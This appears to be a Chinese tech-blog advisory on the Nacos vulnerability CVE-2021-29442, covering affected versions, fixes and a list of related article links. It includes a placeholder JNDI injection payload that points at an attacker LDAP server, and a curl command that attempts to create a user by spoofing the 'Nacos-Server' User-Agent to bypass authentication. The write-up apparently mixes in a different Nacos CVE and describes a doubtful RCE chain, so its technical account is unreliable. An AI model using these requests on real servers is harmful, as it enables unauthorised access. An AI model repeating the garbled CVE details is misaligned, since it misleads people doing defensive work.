当前位置: 首页 > news >正文

Nacos CVE-2021-29442

CVE-2021-29442 是 Nacos 中一个认证绕过 + 远程代码执行(RCE)的高危漏洞,主要影响 Nacos 1.4.1 及以下版本,漏洞的核心原因是:

  1. Nacos 默认的鉴权实现存在逻辑缺陷,攻击者可以通过构造特殊的 HTTP 请求头绕过身份认证;
  2. 结合 Nacos 的配置管理功能,攻击者可上传恶意配置文件,最终实现远程代码执行,控制服务器。
  • 受影响版本:Nacos 0.2.0 ~ 1.4.1
  • 不受影响版本:Nacos 1.4.2 及以上、2.0.0 及以上(官方已修复)
  • 漏洞触发条件:Nacos 开启了鉴权功能(nacos.core.auth.enabled=true),但未正确配置自定义密钥(默认密钥可被利用)。
  • 认证绕过:Nacos 的鉴权逻辑依赖User-Agent等请求头验证,攻击者构造包含Nacos-ServerUser-Agent即可绕过认证;
  • 配置注入:绕过认证后,攻击者通过 Nacos 的配置发布接口上传包含恶意脚本的配置(如${jndi:ldap://攻击者服务器/恶意类});
  • 代码执行:当客户端拉取该恶意配置时,触发 JNDI 注入,执行攻击者预设的恶意代码。
  • 1.x 版本升级至1.4.2及以上;
  • 2.x 版本使用2.0.0及以上(2.x 架构重构,从根本上修复了该漏洞)。
  • 修改默认密钥:在nacos/conf/application.properties中配置自定义的鉴权密钥,避免使用默认值:

E:\Document_Nacos\nacos-server-1.4.5\nacos\conf

# 开启鉴权

nacos.core.auth.enabled=true

# 配置自定义密钥(必须修改,随机字符串)

nacos.core.auth.plugin.nacos.token.secret.key=自定义的32位以上随机字符串

# 关闭 User-Agent 白名单(关键)

nacos.core.auth.enable.userAgentAuthWhite=false

測試:

curl -X POST "http://nacos服务器IP:8848/nacos/v1/auth/users?username=test&password=test" \ -H "User-Agent: Nacos-Server" \ -H "Content-Type: application/x-www-form-urlencoded"

  • CVE-2021-29442 是 Nacos 1.4.1 及以下版本的高危 RCE 漏洞,核心是认证绕过 + JNDI 注入;
  • 最根本的修复方式是升级 Nacos 到 1.4.2/2.0.0 及以上版本;
  • 临时防护需修改鉴权密钥、关闭 User-Agent 白名单,并做好网络隔离,禁止 Nacos 端口公网暴露

最早之前的springcloud,是用的Eureka的,后来某里发展出来的,一堆的抄着用。

nacos

其他开源国内git项目漏洞,这些都是等保过不去的,都是会被测试工具扫描出来,要通报批评的

kkFileView SSRF

http://www.jsqmd.com/news/285821/

相关文章:

  • (新卷,200分)- 去除多余空格(Java JS Python)
  • IP地址与端口号
  • 制造业七大核心系统盘点——ERP、MES、WMS、SCM、PLM、SCADA、QMS
  • python之lession7-迭代器和生成器
  • 【毕业设计】基于springboot的蔬菜超市系统(源码+文档+远程调试,全bao定制等)
  • DuCsps.dll文件丢失找不到 免费下载方法分享
  • Java毕设项目推荐-基于SpringBoot+vue的保险公司人力资源管理系统基于springboot的寿险公司人力资源管理系统【附源码+文档,调试定制服务】
  • linux Page Table 和 TLB 操作总结
  • 【观成科技】C2框架AdaptixC2加密流量分析
  • 吴恩达深度学习课程五:自然语言处理 第二周:词嵌入(四)分层 softmax 和负采样
  • 2026年天猫代运营服务商排名前五权威发布:专业深度测评揭晓
  • 用Microsoft Visual Studio Installer Projects打包程序
  • 【博客园】Markdown语法如何设置图片大小
  • 一文看懂供应链五大核心模块:计划、采购、生产、仓储、物流如何联动?
  • 【计算机毕业设计案例】基于JAVA寿险公司人力资源管理系统基于springboot的寿险公司人力资源管理系统(程序+文档+讲解+定制)
  • 2026年专业深度测评:增压花洒排名前五品牌权威榜单
  • 2026年度增压花洒供应商专业深度测评与排名前五权威发布
  • 敏捷团队的协作利器:当Cucumber BDD遇见自动化测试
  • Docker-构建自己的Web-Linux系统-镜像kasmweb/ubuntu-jammy-desktop
  • 前端使用docker打包nuxt官网项目
  • 轻量化5G实验室搭建方案:中小高校的低成本路径
  • 2026必备!10个AI论文软件,专科生轻松搞定毕业论文!
  • 亲测好用!9款AI论文平台测评:本科生毕业论文必备工具
  • Flutter for HarmonyOS 开发指南(一):环境搭建与项目创建
  • 0. Spring AI 1.1 完整实战学习计划
  • Flutter for HarmonyOS 开发指南(二):Hello World
  • 搜维尔科技:Manus数据手套遥操作机器人手机械手推荐
  • cmake构建c++项目时,vscode/cursor无法识别头文件路径,导致报错,解决方案
  • 深入解析:城市生命线软件平台
  • 流量一上来就崩?老实说,是你没提前想明白